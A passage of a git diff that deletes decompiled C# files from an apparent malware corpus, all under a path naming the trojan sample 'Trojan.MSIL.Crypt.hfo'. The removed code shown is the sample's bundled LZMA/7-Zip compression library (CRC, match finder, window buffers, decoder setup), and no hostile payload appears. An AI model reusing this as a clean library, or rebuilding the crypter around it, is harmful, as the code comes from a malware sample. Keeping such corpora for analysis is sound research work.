0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - CRC.Table[(IntPtr) index1] = num; - } - } - - public void Init() => this._value = uint.MaxValue; - - public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8; - - public void Update(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8; - } - - public uint GetDigest() => this._value ^ uint.MaxValue; - - private static uint CalculateDigest(byte[] data, uint offset, uint size) - { - CRC crc = new CRC(); - crc.Update(data, offset, size); - return crc.GetDigest(); - } - - private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/CoderPropID.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/CoderPropID.cs deleted file mode 100644 index b299f114..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/CoderPropID.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CoderPropID -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -namespace SevenZip -{ - public enum CoderPropID - { - DefaultProp, - DictionarySize, - UsedMemorySize, - Order, - BlockSize, - PosStateBits, - LitContextBits, - LitPosBits, - NumFastBytes, - MatchFinder, - MatchFinderCycles, - NumPasses, - Algorithm, - NumThreads, - EndMarker, - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/BinTree.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/BinTree.cs deleted file mode 100644 index 69af2f6c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/BinTree.cs +++ /dev/null @@ -1,370 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.BinTree -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class BinTree : InWindow, IMatchFinder, IInWindowStream - { - private const uint kHash2Size = 1024; - private const uint kHash3Size = 65536; - private const uint kBT2HashSize = 65536; - private const uint kStartMaxLen = 1; - private const uint kHash3Offset = 1024; - private const uint kEmptyHashValue = 0; - private const uint kMaxValForNormalize = 2147483647; - private uint _cyclicBufferPos; - private uint _cyclicBufferSize; - private uint _matchMaxLen; - private uint[] _son; - private uint[] _hash; - private uint _cutValue = (uint) byte.MaxValue; - private uint _hashMask; - private uint _hashSizeSum; - private bool HASH_ARRAY = true; - private uint kNumHashDirectBytes; - private uint kMinMatchCheck = 4; - private uint kFixHashSize = 66560; - - public void SetType(int numHashBytes) - { - this.HASH_ARRAY = numHashBytes > 2; - if (this.HASH_ARRAY) - { - this.kNumHashDirectBytes = 0U; - this.kMinMatchCheck = 4U; - this.kFixHashSize = 66560U; - } - else - { - this.kNumHashDirectBytes = 2U; - this.kMinMatchCheck = 3U; - this.kFixHashSize = 0U; - } - } - - public new void SetStream(Stream stream) => base.SetStream(stream); - - public new void ReleaseStream() => base.ReleaseStream(); - - public new void Init() - { - base.Init(); - for (uint index = 0; index < this._hashSizeSum; ++index) - this._hash[(IntPtr) index] = 0U; - this._cyclicBufferPos = 0U; - this.ReduceOffsets(-1); - } - - public new void MovePos() - { - if (++this._cyclicBufferPos >= this._cyclicBufferSize) - this._cyclicBufferPos = 0U; - base.MovePos(); - if (this._pos != (uint) int.MaxValue) - return; - this.Normalize(); - } - - public new byte GetIndexByte(int index) => base.GetIndexByte(index); - - public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit); - - public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes(); - - public void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this._cutValue = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this._matchMaxLen = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this._cyclicBufferSize != (int) num1) - this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)]; - uint num2 = 65536; - if (this.HASH_ARRAY) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this._hashMask = num7; - num2 = num7 + 1U + this.kFixHashSize; - } - if ((int) num2 == (int) this._hashSizeSum) - return; - this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)]; - } - - public uint GetMatches(uint[] distances) - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - return 0; - } - } - uint matches = 0; - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3 = 1; - uint index2 = 0; - uint num4 = 0; - uint num5; - if (this.HASH_ARRAY) - { - uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - index2 = num6 & 1023U; - uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - num4 = num7 & (uint) ushort.MaxValue; - num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)]; - if (this.HASH_ARRAY) - { - uint num9 = this._hash[(IntPtr) index2]; - uint num10 = this._hash[(IntPtr) (1024U + num4)]; - this._hash[(IntPtr) index2] = this._pos; - this._hash[(IntPtr) (1024U + num4)] = this._pos; - if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num11 = (int) matches; - uint num12 = (uint) (num11 + 1); - uint index3 = (uint) num11; - int num13; - num3 = (uint) (num13 = 2); - numArray1[(IntPtr) index3] = (uint) num13; - uint[] numArray2 = distances; - int num14 = (int) num12; - matches = (uint) (num14 + 1); - uint index4 = (uint) num14; - int num15 = (int) this._pos - (int) num9 - 1; - numArray2[(IntPtr) index4] = (uint) num15; - } - if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1]) - { - if ((int) num10 == (int) num9) - matches -= 2U; - uint[] numArray3 = distances; - int num16 = (int) matches; - uint num17 = (uint) (num16 + 1); - uint index5 = (uint) num16; - int num18; - num3 = (uint) (num18 = 3); - numArray3[(IntPtr) index5] = (uint) num18; - uint[] numArray4 = distances; - int num19 = (int) num17; - matches = (uint) (num19 + 1); - uint index6 = (uint) num19; - int num20 = (int) this._pos - (int) num10 - 1; - numArray4[(IntPtr) index6] = (uint) num20; - num9 = num10; - } - if (matches != 0U && (int) num9 == (int) num8) - { - matches -= 2U; - num3 = 1U; - } - } - this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos; - uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index8 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)]) - { - uint[] numArray5 = distances; - int num21 = (int) matches; - uint num22 = (uint) (num21 + 1); - uint index9 = (uint) num21; - int numHashDirectBytes; - num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes); - numArray5[(IntPtr) index9] = (uint) numHashDirectBytes; - uint[] numArray6 = distances; - int num23 = (int) num22; - matches = (uint) (num23 + 1); - uint index10 = (uint) num23; - int num24 = (int) this._pos - (int) num8 - 1; - numArray6[(IntPtr) index10] = (uint) num24; - } - uint cutValue = this._cutValue; - while (num8 > num2 && cutValue-- != 0U) - { - uint num25 = this._pos - num8; - uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1); - uint num26 = this._bufferOffset + num8; - uint num27 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - do - ; - while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]); - if (num3 < num27) - { - uint[] numArray7 = distances; - int num28 = (int) matches; - uint num29 = (uint) (num28 + 1); - uint index12 = (uint) num28; - int num30; - num3 = (uint) (num30 = (int) num27); - numArray7[(IntPtr) index12] = (uint) num30; - uint[] numArray8 = distances; - int num31 = (int) num29; - matches = (uint) (num31 + 1); - uint index13 = (uint) num31; - int num32 = (int) num25 - 1; - numArray8[(IntPtr) index13] = (uint) num32; - if ((int) num27 == (int) num1) - { - this._son[(IntPtr) index8] = this._son[(IntPtr) index11]; - this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - this._son[(IntPtr) index8] = num8; - index8 = index11 + 1U; - num8 = this._son[(IntPtr) index8]; - val2 = num27; - } - else - { - this._son[(IntPtr) index7] = num8; - index7 = index11; - num8 = this._son[(IntPtr) index7]; - val1 = num27; - } - } - this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U; -label_29: - this.MovePos(); - return matches; - } - - public void Skip(uint num) - { - do - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - goto label_19; - } - } - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3; - if (this.HASH_ARRAY) - { - uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - this._hash[(IntPtr) (num4 & 1023U)] = this._pos; - uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos; - num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)]; - this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos; - uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index3 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - uint cutValue = this._cutValue; - while (num6 > num2 && cutValue-- != 0U) - { - uint num7 = this._pos - num6; - uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1); - uint num8 = this._bufferOffset + num6; - uint num9 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - do - ; - while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]); - if ((int) num9 == (int) num1) - { - this._son[(IntPtr) index3] = this._son[(IntPtr) index4]; - this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - this._son[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this._son[(IntPtr) index3]; - val2 = num9; - } - else - { - this._son[(IntPtr) index2] = num6; - index2 = index4; - num6 = this._son[(IntPtr) index2]; - val1 = num9; - } - } - this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U; -label_18: - this.MovePos(); -label_19:; - } - while (--num != 0U); - } - - private void NormalizeLinks(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { - uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void Normalize() - { - uint subValue = this._pos - this._cyclicBufferSize; - this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue); - this.NormalizeLinks(this._hash, this._hashSizeSum, subValue); - this.ReduceOffsets((int) subValue); - } - - public void SetCutValue(uint cutValue) => this._cutValue = cutValue; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/IInWindowStream.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/IInWindowStream.cs deleted file mode 100644 index 595ca392..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/IInWindowStream.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IInWindowStream -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System.IO; - -namespace SevenZip.Compression.LZ -{ - internal interface IInWindowStream - { - void SetStream(Stream inStream); - - void Init(); - - void ReleaseStream(); - - byte GetIndexByte(int index); - - uint GetMatchLen(int index, uint distance, uint limit); - - uint GetNumAvailableBytes(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/IMatchFinder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/IMatchFinder.cs deleted file mode 100644 index b11c25d6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/IMatchFinder.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IMatchFinder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -namespace SevenZip.Compression.LZ -{ - internal interface IMatchFinder : IInWindowStream - { - void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint GetMatches(uint[] distances); - - void Skip(uint num); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/InWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/InWindow.cs deleted file mode 100644 index d6fd043d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/InWindow.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.InWindow -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class InWindow - { - public byte[] _bufferBase; - private Stream _stream; - private uint _posLimit; - private bool _streamEndWasReached; - private uint _pointerToLastSafePosition; - public uint _bufferOffset; - public uint _blockSize; - public uint _pos; - private uint _keepSizeBefore; - private uint _keepSizeAfter; - public uint _streamPos; - - public void MoveBlock() - { - uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore; - if (num1 > 0U) - --num1; - uint num2 = this._bufferOffset + this._streamPos - num1; - for (uint index = 0; index < num2; ++index) - this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)]; - this._bufferOffset -= num1; - } - - public virtual void ReadBlock() - { - if (this._streamEndWasReached) - return; - while (true) - { - do - { - int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos; - if (count == 0) - return; - int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count); - if (num == 0) - { - this._posLimit = this._streamPos; - if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition) - this._posLimit = this._pointerToLastSafePosition - this._bufferOffset; - this._streamEndWasReached = true; - return; - } - this._streamPos += (uint) num; - } - while (this._streamPos < this._pos + this._keepSizeAfter); - this._posLimit = this._streamPos - this._keepSizeAfter; - } - } - - private void Free() => this._bufferBase = (byte[]) null; - - public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this._keepSizeBefore = keepSizeBefore; - this._keepSizeAfter = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - if (this._bufferBase == null || (int) this._blockSize != (int) num) - { - this.Free(); - this._blockSize = num; - this._bufferBase = new byte[(IntPtr) this._blockSize]; - } - this._pointerToLastSafePosition = this._blockSize - keepSizeAfter; - } - - public void SetStream(Stream stream) => this._stream = stream; - - public void ReleaseStream() => this._stream = (Stream) null; - - public void Init() - { - this._bufferOffset = 0U; - this._pos = 0U; - this._streamPos = 0U; - this._streamEndWasReached = false; - this.ReadBlock(); - } - - public void MovePos() - { - ++this._pos; - if (this._pos <= this._posLimit) - return; - if (this._bufferOffset + this._pos > this._pointerToLastSafePosition) - this.MoveBlock(); - this.ReadBlock(); - } - - public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index]; - - public uint GetMatchLen(int index, uint distance, uint limit) - { - if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos) - limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index); - ++distance; - uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index); - uint matchLen = 0; - while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)]) - ++matchLen; - return matchLen; - } - - public uint GetNumAvailableBytes() => this._streamPos - this._pos; - - public void ReduceOffsets(int subValue) - { - this._bufferOffset += (uint) subValue; - this._posLimit -= (uint) subValue; - this._pos -= (uint) subValue; - this._streamPos -= (uint) subValue; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/OutWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/OutWindow.cs deleted file mode 100644 index 0f0f40a9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZ/OutWindow.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.OutWindow -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class OutWindow - { - private byte[] _buffer; - private uint _pos; - private uint _windowSize; - private uint _streamPos; - private Stream _stream; - public uint TrainSize; - - public void Create(uint windowSize) - { - if ((int) this._windowSize != (int) windowSize) - this._buffer = new byte[(IntPtr) windowSize]; - this._windowSize = windowSize; - this._pos = 0U; - this._streamPos = 0U; - } - - public void Init(Stream stream, bool solid) - { - this.ReleaseStream(); - this._stream = stream; - if (solid) - return; - this._streamPos = 0U; - this._pos = 0U; - this.TrainSize = 0U; - } - - public bool Train(Stream stream) - { - long length = stream.Length; - uint num1 = length < (long) this._windowSize ? (uint) length : this._windowSize; - this.TrainSize = num1; - stream.Position = length - (long) num1; - this._streamPos = this._pos = 0U; - while (num1 > 0U) - { - uint count = this._windowSize - this._pos; - if (num1 < count) - count = num1; - int num2 = stream.Read(this._buffer, (int) this._pos, (int) count); - if (num2 == 0) - return false; - num1 -= (uint) num2; - this._pos += (uint) num2; - this._streamPos += (uint) num2; - if ((int) this._pos == (int) this._windowSize) - this._streamPos = this._pos = 0U; - } - return true; - } - - public void ReleaseStream() - { - this.Flush(); - this._stream = (Stream) null; - } - - public void Flush() - { - uint count = this._pos - this._streamPos; - if (count == 0U) - return; - this._stream.Write(this._buffer, (int) this._streamPos, (int) count); - if (this._pos >= this._windowSize) - this._pos = 0U; - this._streamPos = this._pos; - } - - public void CopyBlock(uint distance, uint len) - { - uint num = (uint) ((int) this._pos - (int) distance - 1); - if (num >= this._windowSize) - num += this._windowSize; - for (; len > 0U; --len) - { - if (num >= this._windowSize) - num = 0U; - this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++]; - if (this._pos >= this._windowSize) - this.Flush(); - } - } - - public void PutByte(byte b) - { - this._buffer[(IntPtr) this._pos++] = b; - if (this._pos < this._windowSize) - return; - this.Flush(); - } - - public byte GetByte(uint distance) - { - uint index = (uint) ((int) this._pos - (int) distance - 1); - if (index >= this._windowSize) - index += this._windowSize; - return this._buffer[(IntPtr) index]; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Base.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Base.cs deleted file mode 100644 index 583a8184..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Base.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Base -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -namespace SevenZip.Compression.LZMA -{ - internal abstract class Base - { - public const uint kNumRepDistances = 4; - public const uint kNumStates = 12; - public const int kNumPosSlotBits = 6; - public const int kDicLogSizeMin = 0; - public const int kNumLenToPosStatesBits = 2; - public const uint kNumLenToPosStates = 4; - public const uint kMatchMinLen = 2; - public const int kNumAlignBits = 4; - public const uint kAlignTableSize = 16; - public const uint kAlignMask = 15; - public const uint kStartPosModelIndex = 4; - public const uint kEndPosModelIndex = 14; - public const uint kNumPosModels = 10; - public const uint kNumFullDistances = 128; - public const uint kNumLitPosStatesBitsEncodingMax = 4; - public const uint kNumLitContextBitsMax = 8; - public const int kNumPosStatesBitsMax = 4; - public const uint kNumPosStatesMax = 16; - public const int kNumPosStatesBitsEncodingMax = 4; - public const uint kNumPosStatesEncodingMax = 16; - public const int kNumLowLenBits = 3; - public const int kNumMidLenBits = 3; - public const int kNumHighLenBits = 8; - public const uint kNumLowLenSymbols = 8; - public const uint kNumMidLenSymbols = 8; - public const uint kNumLenSymbols = 272; - public const uint kMatchMaxLen = 273; - - public static uint GetLenToPosState(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct State - { - public uint Index; - - public void Init() => this.Index = 0U; - - public void UpdateChar() - { - if (this.Index < 4U) - this.Index = 0U; - else if (this.Index < 10U) - this.Index -= 3U; - else - this.Index -= 6U; - } - - public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U; - - public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U; - - public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U; - - public bool IsCharState() => this.Index < 7U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Decoder.cs deleted file mode 100644 index 5b644b17..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Decoder.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Decoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Decoder : ICoder, ISetDecoderProperties - { - private OutWindow m_OutWindow = new OutWindow(); - private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder(); - private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)]; - private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)]; - private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)]; - private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)]; - private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4); - private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder(); - private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder(); - private Decoder.LiteralDecoder m_LiteralDecoder = new 